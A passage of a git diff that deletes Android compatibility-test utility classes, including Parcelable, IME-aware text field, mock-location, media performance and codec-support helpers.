- if (parentFile != null) {
- parentFile.mkdirs();
- }
- byte[] buffer = new byte[numBytes];
- FileOutputStream output = new FileOutputStream(file);
- try {
- output.write(buffer);
- } finally {
- output.close();
- }
- }
-
- public static byte[] readInputStreamFully(InputStream is) {
- ByteArrayOutputStream os = new ByteArrayOutputStream();
- byte[] buffer = new byte[32768];
- int count;
- try {
- while ((count = is.read(buffer)) != -1) {
- os.write(buffer, 0, count);
- }
- is.close();
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- return os.toByteArray();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java b/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
deleted file mode 100644
index f3c53fe..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/IBinderParcelable.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.Parcelable;
-
-public class IBinderParcelable implements Parcelable {
- public IBinder binder;
-
- public IBinderParcelable(IBinder source) {
- binder = source;
- }
-
- public int describeContents() {
- return 0;
- }
-
- public void writeToParcel(Parcel dest, int flags) {
- dest.writeStrongBinder(binder);
- }
-
- public static final Parcelable.Creator<IBinderParcelable>
- CREATOR = new Parcelable.Creator<IBinderParcelable>() {
-
- public IBinderParcelable createFromParcel(Parcel source) {
- return new IBinderParcelable(source);
- }
-
- public IBinderParcelable[] newArray(int size) {
- return new IBinderParcelable[size];
- }
- };
-
- private IBinderParcelable(Parcel source) {
- binder = source.readStrongBinder();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java b/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java
deleted file mode 100644
index db148bf..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ImeAwareEditText.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.util.AttributeSet;
-import android.view.View;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputConnection;
-import android.view.inputmethod.InputMethodManager;
-import android.widget.EditText;
-
-public class ImeAwareEditText extends EditText {
- private boolean mHasPendingShowSoftInputRequest;
- final Runnable mRunShowSoftInputIfNecessary = () -> showSoftInputIfNecessary();
-
- public ImeAwareEditText(Context context) {
- super(context, null);
- }
-
- public ImeAwareEditText(Context context, AttributeSet attrs) {
- super(context, attrs);
- }
-
- public ImeAwareEditText(Context context, AttributeSet attrs, int defStyleAttr) {
- super(context, attrs, defStyleAttr);
- }
-
- public ImeAwareEditText(Context context, AttributeSet attrs, int defStyleAttr,
- int defStyleRes) {
- super(context, attrs, defStyleAttr, defStyleRes);
- }
-
- /**
- * This method is called back by the system when the system is about to establish a connection
- * to the current input method.
- *
- * <p>This is a good and reliable signal to schedule a pending task to call
- * {@link InputMethodManager#showSoftInput(View, int)}.</p>
- *
- * @param editorInfo context about the text input field.
- * @return {@link InputConnection} to be passed to the input method.
- */
- @Override
- public InputConnection onCreateInputConnection(EditorInfo editorInfo) {
- final InputConnection ic = super.onCreateInputConnection(editorInfo);
- if (mHasPendingShowSoftInputRequest) {
- removeCallbacks(mRunShowSoftInputIfNecessary);
- post(mRunShowSoftInputIfNecessary);
- }
- return ic;
- }
-
- private void showSoftInputIfNecessary() {
- if (mHasPendingShowSoftInputRequest) {
- final InputMethodManager imm =
- getContext().getSystemService(InputMethodManager.class);
- imm.showSoftInput(this, 0);
- mHasPendingShowSoftInputRequest = false;
- }
- }
-
- public void scheduleShowSoftInput() {
- final InputMethodManager imm = getContext().getSystemService(InputMethodManager.class);
- if (imm.isActive(this)) {
- // This means that ImeAwareEditText is already connected to the IME.
- // InputMethodManager#showSoftInput() is guaranteed to pass client-side focus check.
- mHasPendingShowSoftInputRequest = false;
- removeCallbacks(mRunShowSoftInputIfNecessary);
- imm.showSoftInput(this, 0);
- return;
- }
-
- // Otherwise, InputMethodManager#showSoftInput() should be deferred after
- // onCreateInputConnection().
- mHasPendingShowSoftInputRequest = true;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
deleted file mode 100644
index f233851..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/LocationUtils.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.util.Log;
-
-import java.io.IOException;
-
-public class LocationUtils {
- private static String TAG = "LocationUtils";
-
- public static void registerMockLocationProvider(Instrumentation instrumentation,
- boolean enable) {
- StringBuilder command = new StringBuilder();
- command.append("appops set ");
- command.append(instrumentation.getContext().getPackageName());
- command.append(" android:mock_location ");
- command.append(enable ? "allow" : "deny");
- try {
- SystemUtil.runShellCommand(instrumentation, command.toString());
- } catch (IOException e) {
- Log.e(TAG, "Error managing mock location app. Command: " + command, e);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
deleted file mode 100644
index 469e99a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaPerfUtils.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.media.MediaFormat;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.util.Arrays;
-import android.util.Log;
-
-public class MediaPerfUtils {
- private static final String TAG = "MediaPerfUtils";
-
- private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
- private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
-
- // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
- // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
- // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
- private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
-
- /*
- * ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
- */
-
- /** removes brackets from format to be included in JSON. */
- private static String formatForReport(MediaFormat format) {
- String asString = "" + format;
- return asString.substring(1, asString.length() - 1);
- }
-
- /**
- * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
- * and |outputFormat|. Also appends same to |message| and returns the resulting base message
- * for logging purposes.
- */
- public static String addPerformanceHeadersToLog(
- DeviceReportLog log, String message, int round, String codecName,
- MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
- String mime = configFormat.getString(MediaFormat.KEY_MIME);
- int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
- int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
-
- log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("config_format", formatForReport(configFormat),
- ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("input_format", formatForReport(inputFormat),
- ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("output_format", formatForReport(outputFormat),
- ResultType.NEUTRAL, ResultUnit.NONE);
-
- message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
- + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
-
- Range<Double> reported =
- MediaUtils.getVideoCapabilities(codecName, mime)
- .getAchievableFrameRatesFor(width, height);
- if (reported != null) {
- log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
- log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
- message += " reported=" + reported.getLower() + "-" + reported.getUpper();
- }
-
- return message;
- }
-
- /**
- * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
- * logcat. Returns the "final fps" value.
- */
- public static double addPerformanceStatsToLog(
- DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
-
- MediaUtils.Stats frameAvgUsStats =
- durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
- log.addValue(
- "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
- logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
- message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
-
- MediaUtils.Stats timeAvgUsStats =
- durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
- log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
- double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
- message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
-
- log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
- return fps;
- }
-
- /**
- * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
- * Also prints the same into logcat using |message| as the base message. Returns the fps value
- * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
- */
- private static double logPerformanceStats(
- DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
- final String[] labels = {
- "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
- };
- final double[] points = {
- 0, 5, 10, 20, 30, 40, 50, 60, 70, 80, 90, 95, 100
- };
-
- int num = statsUs.getNum();
- long avg = Math.round(statsUs.getAverage());
- long stdev = Math.round(statsUs.getStdev());
- log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
- log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
- log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
- message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
- final double[] percentiles = statsUs.getPercentiles(points);
- for (int i = 0; i < labels.length; ++i) {
- long p = Math.round(percentiles[i]);
- message += " " + labels[i] + "=" + p;
- log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
- }
-
- // print result to logcat in case test aborts before logs are written
- Log.i(TAG, message);
-
- return 1e6 / percentiles[points.length - 2];
- }
-
- /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
- * one measurement falls within the margins of the reported range. Otherwise, returns
- * an error message to display.*/
- public static String verifyAchievableFrameRates(
- String name, String mime, int w, int h, double... measuredFps) {
- Range<Double> reported =
- MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
- String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
- if (reported == null) {
- return "Failed to get " + kind;
- }
- double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
- double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
- double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
- double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
- Log.d(TAG, name + " " + mime + " " + w + "x" + h +
- " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
- " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
- " measured " + Arrays.toString(measuredFps));
-
- for (double measured : measuredFps) {
- if (measured >= lowerBoundary1 && measured <= upperBoundary1
- && measured >= lowerBoundary2 && measured <= upperBoundary2) {
- return null;
- }
- }
-
- return "Expected " + kind + ": " + reported + ".\n"
- + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
deleted file mode 100644
index c81f648..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
+++ /dev/null
@@ -1,1243 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.drm.DrmConvertedStatus;
-import android.drm.DrmManagerClient;
-import android.graphics.ImageFormat;
-import android.graphics.Rect;
-import android.media.Image;
-import android.media.Image.Plane;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.util.Log;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.lang.reflect.Method;
-import java.nio.ByteBuffer;
-import java.security.MessageDigest;
-
-import static java.lang.reflect.Modifier.isPublic;
-import static java.lang.reflect.Modifier.isStatic;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-
-import static junit.framework.Assert.assertTrue;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-
-public class MediaUtils {
- private static final String TAG = "MediaUtils";
-
- /*
- * ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
- */
- private static final int ALL_AV_TRACKS = -1;
-
- private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-
- /**
- * Returns the test name (heuristically).
- *
- * Since it uses heuristics, this method has only been verified for media
- * tests. This centralizes the way to signal errors during a test.
- */
- public static String getTestName() {
- return getTestName(false /* withClass */);
- }
-
- /**
- * Returns the test name with the full class (heuristically).
- *
- * Since it uses heuristics, this method has only been verified for media
- * tests. This centralizes the way to signal errors during a test.
- */
- public static String getTestNameWithClass() {
- return getTestName(true /* withClass */);
- }
-
- private static String getTestName(boolean withClass) {
- int bestScore = -1;
- String testName = "test???";
- Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
- for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
- StackTraceElement[] stack = entry.getValue();
- for (int index = 0; index < stack.length; ++index) {
- // method name must start with "test"
- String methodName = stack[index].getMethodName();
- if (!methodName.startsWith("test")) {
- continue;
- }
-
- int score = 0;
- // see if there is a public non-static void method that takes no argument
- Class<?> clazz;
- try {
- clazz = Class.forName(stack[index].getClassName());
- ++score;
- for (final Method method : clazz.getDeclaredMethods()) {
- if (method.getName().equals(methodName)
- && isPublic(method.getModifiers())
- && !isStatic(method.getModifiers())
- && method.getParameterTypes().length == 0
- && method.getReturnType().equals(Void.TYPE)) {
- ++score;
- break;
- }
- }
- if (score == 1) {
- // if we could read the class, but method is not public void, it is
- // not a candidate
- continue;
- }
- } catch (ClassNotFoundException e) {
- }
-
- // even if we cannot verify the method signature, there are signals in the stack
-
- // usually test method is invoked by reflection
- int depth = 1;
- while (index + depth < stack.length
- && stack[index + depth].getMethodName().equals("invoke")
- && stack[index + depth].getClassName().equals(
- "java.lang.reflect.Method")) {
- ++depth;
- }
- if (depth > 1) {
- ++score;
- // and usually test method is run by runMethod method in android.test package
- if (index + depth < stack.length) {
- if (stack[index + depth].getClassName().startsWith("android.test.")) {
- ++score;
- }
- if (stack[index + depth].getMethodName().equals("runMethod")) {
- ++score;
- }
- }
- }
-
- if (score > bestScore) {
- bestScore = score;
- testName = methodName;
- if (withClass) {
- testName = stack[index].getClassName() + "." + testName;
- }
- }
- }
- }
- return testName;
- }
-
- /**
- * Finds test name (heuristically) and prints out standard skip message.
- *
- * Since it uses heuristics, this method has only been verified for media
- * tests. This centralizes the way to signal a skipped test.
- */
- public static void skipTest(String tag, String reason) {
- Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
- DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
- try {
- log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue(
- "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
- log.submit();
- } catch (NullPointerException e) { }
- }
-
- /**
- * Finds test name (heuristically) and prints out standard skip message.
- *
- * Since it uses heuristics, this method has only been verified for media
- * tests. This centralizes the way to signal a skipped test.
- */
- public static void skipTest(String reason) {
- skipTest(TAG, reason);
- }
-
- public static boolean check(boolean result, String message) {
- if (!result) {
- skipTest(message);
- }
- return result;
- }
-
- /*
- * ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
- */
-
- public static boolean isGoogle(String codecName) {
- codecName = codecName.toLowerCase();
- return codecName.startsWith("omx.google.")
- || codecName.startsWith("c2.android.")
- || codecName.startsWith("c2.google.");
- }
-
- // returns the list of codecs that support any one of the formats
- private static String[] getCodecNames(
- boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
- MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- ArrayList<String> result = new ArrayList<>();
- for (MediaCodecInfo info : mcl.getCodecInfos()) {
- if (info.isEncoder() != isEncoder) {
- continue;
- }
- if (isGoog != null && isGoogle(info.getName()) != isGoog) {
- continue;
- }
-
- for (MediaFormat format : formats) {
- String mime = format.getString(MediaFormat.KEY_MIME);
-
- CodecCapabilities caps = null;
- try {
- caps = info.getCapabilitiesForType(mime);
- } catch (IllegalArgumentException e) { // mime is not supported
- continue;
- }
- if (caps.isFormatSupported(format)) {
- result.add(info.getName());
- break;
- }
- }
- }
- return result.toArray(new String[result.size()]);
- }
-
- /* Use isGoog = null to query all decoders */
- public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
- return getCodecNames(false /* isEncoder */, isGoog, formats);
- }
-
- public static String[] getDecoderNames(MediaFormat... formats) {
- return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
- }
-
- /* Use isGoog = null to query all decoders */
- public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
- return getCodecNames(true /* isEncoder */, isGoog, formats);
- }
-
- public static String[] getEncoderNames(MediaFormat... formats) {
- return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
- }
-
- public static String[] getDecoderNamesForMime(String mime) {
- MediaFormat format = new MediaFormat();
- format.setString(MediaFormat.KEY_MIME, mime);
- return getCodecNames(false /* isEncoder */, null /* isGoog */, format);
- }
-
- public static String[] getEncoderNamesForMime(String mime) {
- MediaFormat format = new MediaFormat();
- format.setString(MediaFormat.KEY_MIME, mime);
- return getCodecNames(true /* isEncoder */, null /* isGoog */, format);
- }
-
- public static void verifyNumCodecs(
- int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
- String desc = (isEncoder ? "encoders" : "decoders") + " for "
- + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
- if (isGoog != null) {
- desc = (isGoog ? "Google " : "non-Google ") + desc;
- }
-
- String[] codecs = getCodecNames(isEncoder, isGoog, formats);
- assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
- + Arrays.toString(codecs), codecs.length <= count);
- }
-
- public static MediaCodec getDecoder(MediaFormat format) {
- String decoder = sMCL.findDecoderForFormat(format);
- if (decoder != null) {
- try {
- return MediaCodec.createByCodecName(decoder);
- } catch (IOException e) {
- }
- }
- return null;
- }
-
- public static boolean canEncode(MediaFormat format) {
- if (sMCL.findEncoderForFormat(format) == null) {
- Log.i(TAG, "no encoder for " + format);
- return false;
- }
- return true;
- }
-
- public static boolean canDecode(MediaFormat format) {
- if (sMCL.findDecoderForFormat(format) == null) {
- Log.i(TAG, "no decoder for " + format);
- return false;
- }
- return true;
- }
-
- public static boolean supports(String codecName, String mime, int w, int h) {
- // While this could be simply written as such, give more graceful feedback.
- // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
- // return supports(codecName, format);
-
- VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
- if (vidCap == null) {
- return false;
- } else if (vidCap.isSizeSupported(w, h)) {
- return true;
- }
-
- Log.w(TAG, "unsupported size " + w + "x" + h);
- return false;
- }
-
- public static boolean supports(String codecName, MediaFormat format) {
- MediaCodec codec;
- try {
- codec = MediaCodec.createByCodecName(codecName);
- } catch (IOException e) {
- Log.w(TAG, "codec not found: " + codecName);
- return false;
- }
-
- String mime = format.getString(MediaFormat.KEY_MIME);
- CodecCapabilities cap = null;
- try {
- cap = codec.getCodecInfo().getCapabilitiesForType(mime);
- return cap.isFormatSupported(format);
- } catch (IllegalArgumentException e) {
- Log.w(TAG, "not supported mime: " + mime);
- return false;
- } finally {
- codec.release();
- }
- }
-
- public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
- int count = ex.getTrackCount();
- if (track < 0 || track >= count) {
- throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
- }
- return canDecode(ex.getTrackFormat(track));
- }
-
- /**
- * return true iff all audio and video tracks are supported
- */
- public static boolean hasCodecsForMedia(MediaExtractor ex) {
- for (int i = 0; i < ex.getTrackCount(); ++i) {
- MediaFormat format = ex.getTrackFormat(i);
- // only check for audio and video codecs
- String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
- if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
- continue;
- }
- if (!canDecode(format)) {
- return false;
- }
- }
- return true;
- }
-
- /**
- * return true iff any track starting with mimePrefix is supported
- */
- public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
- mimePrefix = mimePrefix.toLowerCase();
- for (int i = 0; i < ex.getTrackCount(); ++i) {
- MediaFormat format = ex.getTrackFormat(i);
- String mime = format.getString(MediaFormat.KEY_MIME);
- if (mime.toLowerCase().startsWith(mimePrefix)) {
- if (canDecode(format)) {
- return true;
- }
- Log.i(TAG, "no decoder for " + format);
- }
- }
- return false;
- }
-
- private static boolean hasCodecsForResourceCombo(
- Context context, int resourceId, int track, String mimePrefix) {
- try {
- AssetFileDescriptor afd = null;
- MediaExtractor ex = null;
- try {
- afd = context.getResources().openRawResourceFd(resourceId);
- ex = new MediaExtractor();
- ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- if (mimePrefix != null) {
- return hasCodecForMediaAndDomain(ex, mimePrefix);
- } else if (track == ALL_AV_TRACKS) {
- return hasCodecsForMedia(ex);
- } else {
- return hasCodecForTrack(ex, track);
- }
- } finally {
- if (ex != null) {
- ex.release();
- }
- if (afd != null) {
- afd.close();
- }
- }
- } catch (IOException e) {
- Log.i(TAG, "could not open resource");
- }
- return false;
- }
-
- /**
- * return true iff all audio and video tracks are supported
- */
- public static boolean hasCodecsForResource(Context context, int resourceId) {
- return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
- }
-
- public static boolean checkCodecsForResource(Context context, int resourceId) {
- return check(hasCodecsForResource(context, resourceId), "no decoder found");
- }
-
- /**
- * return true iff track is supported.
- */
- public static boolean hasCodecForResource(Context context, int resourceId, int track) {
- return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
- }
-
- public static boolean checkCodecForResource(Context context, int resourceId, int track) {
- return check(hasCodecForResource(context, resourceId, track), "no decoder found");
- }
-
- /**
- * return true iff any track starting with mimePrefix is supported
- */
- public static boolean hasCodecForResourceAndDomain(
- Context context, int resourceId, String mimePrefix) {
- return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
- }
-
- /**
- * return true iff all audio and video tracks are supported
- */
- public static boolean hasCodecsForPath(Context context, String path) {
- MediaExtractor ex = null;
- try {
- ex = getExtractorForPath(context, path);
- return hasCodecsForMedia(ex);
- } catch (IOException e) {
- Log.i(TAG, "could not open path " + path);
- } finally {
- if (ex != null) {
- ex.release();
- }
- }
- return true;
- }
-
- private static MediaExtractor getExtractorForPath(Context context, String path)
- throws IOException {
- Uri uri = Uri.parse(path);
- String scheme = uri.getScheme();
- MediaExtractor ex = new MediaExtractor();
- try {
- if (scheme == null) { // file
- ex.setDataSource(path);
- } else if (scheme.equalsIgnoreCase("file")) {
- ex.setDataSource(uri.getPath());
- } else {
- ex.setDataSource(context, uri, null);
- }
- } catch (IOException e) {
- ex.release();
- throw e;
- }
- return ex;
- }
-
- public static boolean checkCodecsForPath(Context context, String path) {
- return check(hasCodecsForPath(context, path), "no decoder found");
- }
-
- public static boolean hasCodecForDomain(boolean encoder, String domain) {
- for (MediaCodecInfo info : sMCL.getCodecInfos()) {
- if (encoder != info.isEncoder()) {
- continue;
- }
-
- for (String type : info.getSupportedTypes()) {
- if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
- Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
- return true;
- }
- }
- }
- return false;
- }
-
- public static boolean checkCodecForDomain(boolean encoder, String domain) {
- return check(hasCodecForDomain(encoder, domain),
- "no " + domain + (encoder ? " encoder" : " decoder") + " found");
- }
-
- private static boolean hasCodecForMime(boolean encoder, String mime) {
- for (MediaCodecInfo info : sMCL.getCodecInfos()) {
- if (encoder != info.isEncoder()) {
- continue;
- }
-
- for (String type : info.getSupportedTypes()) {
- if (type.equalsIgnoreCase(mime)) {
- Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
- return true;
- }
- }
- }
- return false;
- }
-
- private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
- for (String mime : mimes) {
- if (!hasCodecForMime(encoder, mime)) {
- Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
- return false;
- }
- }
- return true;
- }
-
-
- public static boolean hasEncoder(String... mimes) {
- return hasCodecForMimes(true /* encoder */, mimes);
- }
-
- public static boolean hasDecoder(String... mimes) {
- return hasCodecForMimes(false /* encoder */, mimes);
- }
-
- public static boolean checkDecoder(String... mimes) {
- return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
- }
-
- public static boolean checkEncoder(String... mimes) {
- return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
- }
-
- public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
- MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
- format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
- return canDecode(format);
- }
-
- public static boolean canDecodeVideo(
- String mime, int width, int height, float rate,
- Integer profile, Integer level, Integer bitrate) {
- MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
- format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
- if (profile != null) {
- format.setInteger(MediaFormat.KEY_PROFILE, profile);
- if (level != null) {
- format.setInteger(MediaFormat.KEY_LEVEL, level);
- }
- }
- if (bitrate != null) {
- format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
- }
- return canDecode(format);
- }
-
- public static boolean checkEncoderForFormat(MediaFormat format) {
- return check(canEncode(format), "no encoder for " + format);
- }
-
- public static boolean checkDecoderForFormat(MediaFormat format) {
- return check(canDecode(format), "no decoder for " + format);
- }
-
- /*
- * ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
- */
-
- public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
- for (MediaCodecInfo info : sMCL.getCodecInfos()) {
- if (!info.getName().equalsIgnoreCase(codecName)) {
- continue;
- }
- CodecCapabilities caps;
- try {
- caps = info.getCapabilitiesForType(mime);
